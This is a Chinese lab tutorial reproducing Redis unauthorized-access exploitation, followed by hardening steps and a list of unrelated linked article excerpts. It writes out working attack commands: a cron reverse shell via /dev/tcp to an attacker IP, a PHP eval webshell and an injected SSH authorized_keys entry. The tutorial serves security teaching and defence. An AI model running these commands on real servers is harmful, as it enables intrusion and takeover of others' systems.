redis未授权访问漏洞的三种场景复现以及加固思路

news2024/11/25 1:00:48

1.redis简介

redis是一个 非常快速 的,开源的,支持网络,可以基于内存,也可以持久化的日志型, 非关系型
的键值对数据库。并提供了多种语言的api。有java,c/c++,c#,php,JavaScript,perl,object-c,python,ruby,erlang等客户端,使用方便。

2.未授权访问漏洞的成因和危害

1.漏洞定义

redis未授权访问漏洞是一个由于redis服务器版本较低,并未设置登陆密码所导致的漏洞,攻击者可以直接利用redis服务器的ip地址和端口完成对redis服务器的远程登陆,对目标服务器完成后续的控制和利用。

2.漏洞成因

  • redis为4.x/5.x或以前的版本

  • redis绑定在0.0.0.0:6379,并且没有添加防火墙规则来避免其他非信任来源ip的访问,直接暴露在公网

  • 没有设置密码认证,可以免密码远程登录redis服务

3.漏洞危害

  • 攻击者可以通过redis命令向目标服务器写入计划任务,让服务器主动连接攻击者,实现反弹shell,完成对服务器的控制

  • 攻击者可以通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制。即可以通过redis服务间接利用http服务。

  • 当redis以root身份运行时,攻击者可以给root用户写入ssh公钥文件,直接通过ssh远程登录受害服务器

3.漏洞复现

0.实验准备

实验环境,centos7两台,需要安装如下工具

yum -y install gcc gcc-c++ make vim net-tools nc wget

使用redis6.2.7版本,攻击机为redisC,靶机为redisS

两台centos关闭selinux安全子系统,iptables和firewalld。

靶机配置redis bind为0.0.0.0

#bind默认为 127.0.0.0 ,表示绑定的本机ip,修改为0.0.0.0表示任意主机可以连接
#这个改动是临时的,没有写入配置文件

127.0.0.1:6379> CONFIG set bind 0.0.0.0
OK

使用攻击机连接靶机,查看info,确认可以无认证登录

redis-cli -h 192.168.248.138

192.168.248.138:6379> info

1.写入计划任务获取反弹shell

攻击机无认证登陆redis后,依次输入如下指令

#设置redis库文件的写入目录,/var/spool/cron为linux下存放计划任务的默认目录
config set dir /var/spool/cron

#设置redis写入库文件的文件名,设置为root
config set dbfilename root

#将每分钟一次的计划任务写入上面设置的目录中,让靶机主动连接攻击机,实现反弹shell
#此处的ip为攻击机ip,后面跟上接收反弹shell的端口
set myshell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.148/7890 0>&1\n\n"

#在靶机查看计划任务
crontab -l

#在攻击机上开启对应端口,等待一段时间,即可完成反弹shell
nc -lvvp 7890

反弹shell

image

在靶机上有感知,会有收到邮件的提示

可以看到计划任务已经被写入

image

2.写入webshell获取http的webshell

在靶机开启httpd服务,并开启redis服务

yum -y install httpd
systemctl start httpd

redis-server

在攻击机连接靶机redis

redis-cli -h 192.168.248.138

#连上之后如法炮制,输入如下指令

#设置redis库文件写入到/var/www/html目录,该目录是httpd服务的默认路径
config set dir /var/www/html

#设置写入的文件名,这里需要写入一个php的一句话木马,故而使用php后缀
config set dbfilename shell.php

#写入内容,此处的abc为连接密码
set webshell "<?php @eval($_POST[abc]);?>"

#写完之后保存
save

#这时就可以通过192.168.248.138/shell.php访问到我们写入的php文件
#然后就可以在任意可以连接该redis的主机上,使用蚁剑连接获取webshell
#蚁剑-添加数据-url即192.168.248.138/shell.php,密码为abc-右键-虚拟终端-即获得了靶机的远程shell

3.写入ssh公钥,实现远程免密登录ssh root用户

1.攻击机和靶机上开启sshd

systemctl start sshd

2.在靶机创建公钥可写目录

mkdir /root/.ssh

3.清空攻击机上/root/.ssh目录下的文件,方便区分将要生成用于攻击的ssh公钥文件,如果没有该目录,则跳过这一步

rm -rf /root/.ssh/*

4.在攻击机生成ssh密钥对,默认存放在/root/.ssh/目录下,私钥为id_rsa,公钥为id_rsa.pub

ssh-keygen -t rsa

image

5.在攻击机进入密钥目录,将公钥写入1.txt方便后续操作

cd /root/.ssh

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt

image

6.在攻击机将1.txt内容带入靶机redis服务器

此处因为redis6版本的保护模块,无法直接写入,所以我们先在靶机上以关闭保护模式的方式启动redis-server

#这一步在靶机shell上操作,也可以在攻击机上获取的反弹shell上操作
redis-server --protected-mode no



#这一步在攻击机上操作,将1.txt带入redis服务器
cat 1.txt | redis-cli -h 192.168.248.138 -x set crack

7.攻击机连接靶机redis服务,将本地的ssh公钥写入靶机,之后即可免密登录ssh

redis-cli -h 192.168.248.138

#如法炮制,此处需要确保靶机上/root/.ssh目录存在
config set dir /root/.ssh
config set dbfilename authorized_keys
save
exit

#退出之后,攻击机进入/root/.ssh/目录
#然后即可使用ssh直接登录,不需要输入密码,此处-i是指定私钥文件
ssh -i id_rsa root@192.168.248.138

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9JIvetxt-1675993727330)(https://image.3001.net/images/20221130/1669773556_6386b8f4901a84c6717bd.png!small)]

4.安全加固

  • 升级redis到最新版本(至少在5.x版本以上)

  • 将redis默认端口号6379改为其他端口号

  • 修改redis.conf文件,设置认证密码

  • 利用软硬件防火墙对访问redis服务器的流量进行过滤

  • 开启保护模式 --protected-mode yes

  • 禁止root权限启动redis服务

    #创建redis用户组
    groupadd redis

    #创建redis用户,并且不可登录
    useradd -g redis -s /sbin/nologin -M redis

    #配置文件和目录的用户和用户组
    chown -R redis:redis /data/redis/
    chown -R redis:redis /usr/local/redis/
    chown -R redis:redis /data/logs/redis/

    #重启redis

  • 修改redis.conf文件重命名危险命令,空表示禁用

    rename-command FLUSHALL "" 
    

    rename-command CONFIG “”

    rename-command EVAL “”

  • 保证authorized_keys文件的安全

    • 将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限

            chmod 400 ~/.ssh/authorized_keys
      

为保证authorized_keys的权限不会被改掉,还需要设置该文件的immutable位权限

            chattr +i \~/.ssh/authorized_keys

然而,用户还可以重命名/.ssh,然后新建新的/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh的
immutable位权限

            chattr +i ~/.ssh

如果需要添加新的公钥,需要移除authorized_keys的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重
新加上immutable位权限 注:chattr设置文件的隐藏属性(+i 让一个文件“不能被删除、改名,设置连接也无法写入或添加据)

/.ssh,然后新建新的/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh的
immutable位权限

            chattr +i ~/.ssh

如果需要添加新的公钥,需要移除authorized_keys的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重
新加上immutable位权限 注:chattr设置文件的隐藏属性(+i 让一个文件“不能被删除、改名,设置连接也无法写入或添加据)

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/336888.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1.Linux编程-gcc编译器

gcc的工作流程 gcc编译器将c源文件到生成一个可执行程序,中间一共经历了四个步骤: 四个步骤并不是gcc独立完成的,而是在内部调用了其他工具,从而完成了整个工作流程, 其中编译最耗时, 因为要逐行检查语法. gcc的工作流程: 1 预处理: cpp预处理器, 去掉注释, 展开头文件, …

Java进程CPU高负载排查步骤

近期发现服务器Java进程负载&#xff0c;超过100%一、采用top命令定位进程登录服务器&#xff0c;执行top命令&#xff0c;查看CPU占用情况&#xff0c;找到进程的pid很容易发现&#xff0c;PID为29706的java进程的CPU飙升到700%多&#xff0c;且一直降不下来&#xff0c;很显然…

python—requests模块详解

一、前言 1、requests简介 requests是一个很实用的Python HTTP客户端库&#xff0c;爬虫和测试服务器响应数据时经常会用到&#xff0c;它是python语言的第三方的库&#xff0c;专门用于发送HTTP请求&#xff0c;使用起来比urllib更简洁也更强大。 2、requests库的安装 方法…

CUDA中的数学方法

CUDA中的数学方法 文章目录CUDA中的数学方法1. Standard FunctionsSingle-Precision Floating-Point FunctionsDouble-Precision Floating-Point Functions2. Intrinsic FunctionsSingle-Precision Floating-Point FunctionsDouble-Precision Floating-Point Functions参考手册…

ROPR:一款功能强大的极速多线程ROPGadget查找工具

关于ROPR ROPR是一款速度极快且功能强大的ROPGadget查找工具&#xff0c;该工具支持多线程运行&#xff0c;可以帮助广大研究人员快速寻找和定位目标ROPGadget。 ROP&#xff08;Return Oriented Programming&#xff09;&#xff0c;即返回导向编程&#xff0c;而ROPGadget是…

算法训练营DAY52|1143.最长公共子序列、1035.不相交的线、53. 最大子序和

前两道题思路是一模一样的&#xff0c;但是需要认真理解&#xff0c;最后一道虽然思路不算难&#xff0c;但是需要注意的细节一点不少。 1143. 最长公共子序列 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/longest-common-subsequence/最长公共子序列…

2-ChatGPT插件到Google浏览器、Firefox浏览器,并进行ChatGPT工作。

ChatGPT插件到Google浏览器、Firefox浏览器&#xff0c;并进行ChatGPT工作。1&#xff0c;首先&#xff0c;在装插件ChatGPT forGoogle插件时&#xff0c;我没安装成功&#xff0c;问题是我没有区分Google浏览器和双核浏览器的差别。2&#xff0c;如何使用ChatGPT在浏览器上进行…

基于北方苍鹰算法优化LSTM(NGO-LSTM)研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

2023软件测试面试全方位话术,你想要的全都有

目录 2023软件测试面试话术包含&#xff1a;自我介绍简历人资题话术面试题项目介绍 自我介绍 软件测试基础面试题 人资高频率问题 简历 总结 2023软件测试面试话术包含&#xff1a;自我介绍简历人资题话术面试题项目介绍 目录如下 自我介绍 软件测试基础面试题 需求的标准…

参数嗅探 - 为何产生

这个问题会在参数话的SQL语句&#xff08;例如存储过程&#xff09;与SQL Server里的计划缓存机制结合的时候会出现。这个文章分为2个部分&#xff0c;第1部分会介绍下参数嗅探&#xff08;Parameter Sniffing&#xff09;的概况&#xff0c;第2部分我们介绍下如何解决这个问题…

git整体工作流程

文章目录本地流程远程仓库流程git 代码量统计本地流程 工作区 暂存区 本地仓库 远程仓库流程 git 代码量统计 # 统计本地仓库的代码量 git log --all --since2022-01-01 --until2022-01-05 --format"%aN" --no-merges | sort | uniq -c | while read data; do na…

浅析 SeaweedFS 与 JuiceFS 架构异同

SeaweedFS 是一款高效的分布式文件存储系统&#xff0c;最早的设计原型参考了 Facebook 的 Haystack&#xff0c;具有快速读写小数据块的能力。本文将通过对比 SeaweedFS 与 JuiceFS 在设计与功能上的差异&#xff0c;以帮助读者进行更适合自己的选择。 SeaweedFS 系统结构 S…

【树】平衡二叉搜索树的介绍与构建

二叉平衡搜索树一、平衡二叉搜索树的概述1. 平衡二叉树的性质2. 平衡二叉树的最小节点数&#xff08;公式及其原理&#xff09;a. 树高度和深度的区别b. 原理二、平衡二叉树的创建和调整1. 节点2. 旋转四种姿态a. LL旋转b. RR旋转c. LR旋转d. RL旋转2. 节点的插入3. 节点的删除…

[转]深度学习 Transformer架构解析

原文链接&#xff1a;https://blog.csdn.net/mengxianglong123/article/details/1262614791.1 Transformer的诞生2018年10月&#xff0c;Google发出一篇论文《BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding》, BERT模型横空出世, 并横扫N…

分享5款后台收到的推荐最多的软件

最近后台收到好多小伙伴的私信&#xff0c;今天继续推荐五款小工具&#xff0c;都是免费使用的&#xff0c;大家可以去试试看。 1.视频压缩——Moo0 VideoMinimizer 一款完全免费的视频压缩软件&#xff0c;能够有效的将视频压缩到最小&#xff0c;同时还不改变视频画质很清晰…

基于SpringBoot的房屋租赁管理系统的设计与实现

基于SpringBoot的房屋租赁管理系统的设计与实现 1 绪论 1.1 课题来源 随着社会的不断发展以及大家生活水平的提高&#xff0c;越来越多的年轻人选择在大城市发展。在大城市发展就意味着要在外面有一处安身的地方。在租房的过程中&#xff0c;大家也面临着各种各样的问题&…

Java程序设计-基于Java高校社团管理系统

摘 要功能需求系统的功能实现摘 要 当前&#xff0c;大多数高校的社团信息管理都是采用纸质档案的方式来管理的&#xff0c;这样不仅不能长期的保存信息&#xff0c;而且在数据的查找上带来很大的不方便。在目前的网络技术和计算机技术的普及和信息管理的迅速发展&#xff0c;…

【MySQL】你知道的MySQL中的集合函数有哪些呢?

集合函数排名AVG&#xff08;&#xff09;函数COUNT()函数SUM&#xff08;&#xff09;函数MAX&#xff08;&#xff09;函数 和 MIN&#xff08;&#xff09;函数总结大家好&#xff0c;我是小冷。 上一篇写了 看看ChatGPT是如何回答面试官的问题的&#xff1f; 地址是&#x…

MySQL数据库06——条件查询(WHERE)

MySQL条件查询&#xff0c;主要是对数据库里面的数据按照一定条件进行筛选&#xff0c;主要依靠的是WHERE语句进行。 先来了解一下基础的条件运算。 关系运算符 逻辑运算符 逻辑运算符优先级&#xff1a;NOT>AND>OR&#xff0c;关系运算符>逻辑运算符 SQL特殊运算符…

公司常用的Project管理工具

目录 1.svn 2.reviewBoard 3.禅道 4.瘦终端 1.svn svn主要是对代码的管理&#xff0c;保证代码的同步开发。 svn的搭建方法https://www.cnblogs.com/ftx3q/p/15340160.html 2.reviewBoard reviewBoard代码审查工具&#xff0c;所有工程师写的代码上传到reviewBoard&#x…